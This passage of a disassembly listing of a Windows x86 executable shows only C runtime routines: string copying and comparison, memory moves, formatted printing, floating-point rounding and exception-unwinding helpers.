		jz	short loc_41C750
		test	edx, 2
		jz	short loc_41C720


loc_41C778:				; CODE XREF: sub_41C710+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C754
		or	al, al
		jz	short loc_41C750
		cmp	ah, [ecx+1]
		jnz	short loc_41C754
		or	ah, ah
		jz	short loc_41C750
		add	ecx, 2
		jmp	short loc_41C720
sub_41C710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C794	proc near		; CODE XREF: .nsp0:00401C29p
					; .nsp0:00401C49p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C7AD:				; CODE XREF: sub_41C794+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C7AD
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C7D5
		mov	edx, dword_4E1544


loc_41C7D5:				; CODE XREF: sub_41C794+39j
					; sub_41C794+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C7F5
		test	al, al
		jz	short loc_41C7F5
		inc	edx
		jmp	short loc_41C7D5
; ---------------------------------------------------------------------------


loc_41C7F5:				; CODE XREF: sub_41C794+58j
					; sub_41C794+5Cj
		mov	ebx, edx


loc_41C7F7:				; CODE XREF: sub_41C794+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C81B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C817
		inc	edx
		jmp	short loc_41C7F7
; ---------------------------------------------------------------------------


loc_41C817:				; CODE XREF: sub_41C794+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C81B:				; CODE XREF: sub_41C794+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4E1544, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C830	proc near		; CODE XREF: sub_40998C+1Cp
					; sub_41581A+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F504
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C86E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C87B
; ---------------------------------------------------------------------------


loc_41C86E:				; CODE XREF: sub_41C830+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41C87B:				; CODE XREF: sub_41C830+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C830	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C880	proc near		; CODE XREF: sub_40AF44+46p
					; sub_40B562+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C934
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C8AA


loc_41C89B:				; CODE XREF: sub_41C880+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C8DB
		test	edi, 3
		jnz	short loc_41C89B


loc_41C8AA:				; CODE XREF: sub_41C880+19j
					; sub_41C880+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C8AA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C8E8
		test	ah, ah
		jz	short loc_41C8E3
		test	eax, 0FF0000h
		jz	short loc_41C8DE
		test	eax, 0FF000000h
		jnz	short loc_41C8AA


loc_41C8DB:				; CODE XREF: sub_41C880+20j
		dec	edi
		jmp	short loc_41C8EB
; ---------------------------------------------------------------------------


loc_41C8DE:				; CODE XREF: sub_41C880+52j
		sub	edi, 2
		jmp	short loc_41C8EB
; ---------------------------------------------------------------------------


loc_41C8E3:				; CODE XREF: sub_41C880+4Bj
		sub	edi, 3
		jmp	short loc_41C8EB
; ---------------------------------------------------------------------------


loc_41C8E8:				; CODE XREF: sub_41C880+47j
		sub	edi, 4


loc_41C8EB:				; CODE XREF: sub_41C880+5Cj
					; sub_41C880+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C900
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C94C
		jmp	short loc_41C91C
; ---------------------------------------------------------------------------


loc_41C900:				; CODE XREF: sub_41C880+75j
					; sub_41C880+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C93A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C930
		test	esi, 3
		jnz	short loc_41C900
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C94C


loc_41C91C:				; CODE XREF: sub_41C880+7Ej
					; sub_41C880+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C930


loc_41C923:				; CODE XREF: sub_41C880+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C932
		dec	ecx
		jnz	short loc_41C923


loc_41C930:				; CODE XREF: sub_41C880+8Bj
					; sub_41C880+A1j
		mov	[edi], cl


loc_41C932:				; CODE XREF: sub_41C880+ABj
		pop	ebx
		pop	esi


loc_41C934:				; CODE XREF: sub_41C880+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C93A:				; CODE XREF: sub_41C880+85j
					; sub_41C880+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C944:				; CODE XREF: sub_41C880+E4j
					; sub_41C880+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C91C


loc_41C94C:				; CODE XREF: sub_41C880+7Cj
					; sub_41C880+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C944
		test	dl, dl
		jz	short loc_41C93A
		test	dh, dh
		jz	short loc_41C998
		test	edx, 0FF0000h
		jz	short loc_41C988
		test	edx, 0FF000000h
		jnz	short loc_41C944
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C988:				; CODE XREF: sub_41C880+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C998:				; CODE XREF: sub_41C880+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9B0	proc far		; CODE XREF: sub_40BEB3+15p
					; sub_40BEB3+3Bp ...

arg_FFFFFFFC	= dword	ptr  8
arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_FFFFFFFC]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C9D0
		cmp	edi, eax
		jb	loc_41CB48


loc_41C9D0:				; CODE XREF: sub_41C9B0+16j
		test	edi, 3
		jnz	short loc_41C9EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------


loc_41C9EC:				; CODE XREF: sub_41C9B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CA04
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CA0C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CA04:				; CODE XREF: sub_41C9B0+46j
		jmp	dword ptr loc_41CB08[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA0C:				; CODE XREF: sub_41C9B0+31j
					; sub_41C9B0+8Ej ...
		jmp	off_41CA8C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CA20
		dd offset loc_41CA4C
		dd offset loc_41CA70
; ---------------------------------------------------------------------------


loc_41CA20:				; DATA XREF: sub_41C9B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA4C:				; DATA XREF: sub_41C9B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CA70:				; DATA XREF: sub_41C9B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CA8C	dd offset loc_41CAEF	; DATA XREF: sub_41C9B0:loc_41CA0Cr
		dd offset loc_41CADC
		dd offset loc_41CAD4
		dd offset loc_41CACC
		dd offset loc_41CAC4
		dd offset loc_41CABC
		dd offset loc_41CAB4
		dd offset loc_41CAAC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CAB4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CABC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CAC4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CACC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CAD4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CADC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CAEF:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0:off_41CA8Co
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CAF8	dd offset loc_41CB08	; DATA XREF: sub_41C9B0+35r
					; sub_41C9B0+92r ...
		dd offset loc_41CB10
		dd offset loc_41CB1C
		dd offset loc_41CB30
; ---------------------------------------------------------------------------


loc_41CB08:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CB10:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CB1C:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CB30:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CB48:				; CODE XREF: sub_41C9B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CB7C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CB70:				; CODE XREF: sub_41C9B0+1B1j
					; sub_41C9B0+208j ...
		neg	ecx
		jmp	off_41CC40[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB7C:				; CODE XREF: sub_41C9B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CB94
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CB94+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CB94:				; CODE XREF: sub_41C9B0+1D6j
					; DATA XREF: sub_41C9B0+1DDr
		jmp	off_41CC90[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 0CBh
		inc	ecx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CC44
		dd offset loc_41CC4C
		dd offset loc_41CC54
		dd offset loc_41CC5C
		dd offset loc_41CC64
		dd offset loc_41CC6C
		dd offset loc_41CC74
off_41CC40	dd offset loc_41CC87	; DATA XREF: sub_41C9B0+1C2r
; ---------------------------------------------------------------------------


loc_41CC44:				; DATA XREF: sub_41C9B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CC4C:				; DATA XREF: sub_41C9B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CC54:				; DATA XREF: sub_41C9B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CC5C:				; DATA XREF: sub_41C9B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CC64:				; DATA XREF: sub_41C9B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CC6C:				; DATA XREF: sub_41C9B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CC74:				; DATA XREF: sub_41C9B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CC87:				; CODE XREF: sub_41C9B0+1C2j
					; DATA XREF: sub_41C9B0:off_41CC40o
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CC90	dd offset loc_41CCA0	; DATA XREF: sub_41C9B0+1B7r
					; sub_41C9B0:loc_41CB94r ...
		dd offset loc_41CCA8
		dd offset loc_41CCB8
		dd offset loc_41CCCC
; ---------------------------------------------------------------------------


loc_41CCA0:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCA8:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCB8:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCCC:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
sub_41C9B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE5	proc near		; CODE XREF: sub_40BEFB+40p
					; sub_40F168+257p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B890
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420375
		add	esp, 10h
		leave
		retn
sub_41CCE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CD19(double)

sub_41CD19	proc near		; CODE XREF: sub_40CF3C+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_442520
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CD9F
		call	sub_421516
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CD82
		cmp	eax, 2
		jle	short loc_41CD74
		cmp	eax, 3
		jnz	short loc_41CD82
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420E26
		add	esp, 10h
		jmp	short loc_41CDE4
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD19+3Fj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CDE4
; ---------------------------------------------------------------------------


loc_41CD82:				; CODE XREF: sub_41CD19+3Aj
					; sub_41CD19+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41CDDC
; ---------------------------------------------------------------------------


loc_41CD9F:				; CODE XREF: sub_41CD19+2Fj
		call	sub_4214DB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CDC2


loc_41CDB4:				; CODE XREF: sub_41CD19+ACj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CDE4
; ---------------------------------------------------------------------------


loc_41CDC2:				; CODE XREF: sub_41CD19+99j
		test	bl, 20h
		jnz	short loc_41CDB4
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41CDDC:				; CODE XREF: sub_41CD19+84j
		call	sub_420E79
		add	esp, 1Ch


loc_41CDE4:				; CODE XREF: sub_41CD19+59j
					; sub_41CD19+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CD19	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDE8	proc near		; CODE XREF: sub_41BE34+9p
					; sub_421717+21p
					; DATA XREF: ...
		call	sub_41CE00
		call	sub_421717
		mov	dword_4E154C, eax
		call	sub_4216C7
		fnclex
		retn
sub_41CDE8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41CE00	proc near		; CODE XREF: sub_41CDE8p
		mov	eax, offset sub_421B05
		mov	off_442B0C, offset loc_42179A
		mov	off_442B08, eax
		mov	off_442B10, offset sub_421800
		mov	off_442B14, offset sub_421740
		mov	off_442B18, offset loc_4217E8
		mov	off_442B1C, eax
		retn
sub_41CE00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE38	proc near		; CODE XREF: sub_40CF3C+1Bp
					; sub_40CF3C+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CE38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CE5F(double)

sub_41CE5F	proc near		; CODE XREF: sub_40CF88+82p
					; .nsp0:0040DF8Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_442538
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CEE5
		call	sub_421516
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CEC8
		cmp	eax, 2
		jle	short loc_41CEBA
		cmp	eax, 3
		jnz	short loc_41CEC8
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420E26
		add	esp, 10h
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CEBA:				; CODE XREF: sub_41CE5F+3Fj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CEC8:				; CODE XREF: sub_41CE5F+3Aj
					; sub_41CE5F+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41CF22
; ---------------------------------------------------------------------------


loc_41CEE5:				; CODE XREF: sub_41CE5F+2Fj
		call	sub_4214DB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CF08


loc_41CEFA:				; CODE XREF: sub_41CE5F+ACj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CF08:				; CODE XREF: sub_41CE5F+99j
		test	bl, 20h
		jnz	short loc_41CEFA
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41CF22:				; CODE XREF: sub_41CE5F+84j
		call	sub_420E79
		add	esp, 1Ch


loc_41CF2A:				; CODE XREF: sub_41CE5F+59j
					; sub_41CE5F+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CE5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF2E	proc near		; CODE XREF: sub_421F76+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41CF2E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41CF62	proc near		; CODE XREF: sub_422127+199p
					; sub_4222EB+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CF62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CF69	proc near		; CODE XREF: sub_422127+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CF69	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF70	proc near		; CODE XREF: sub_41D122+5Cp
					; sub_421F76:loc_421FA7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41CF98
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
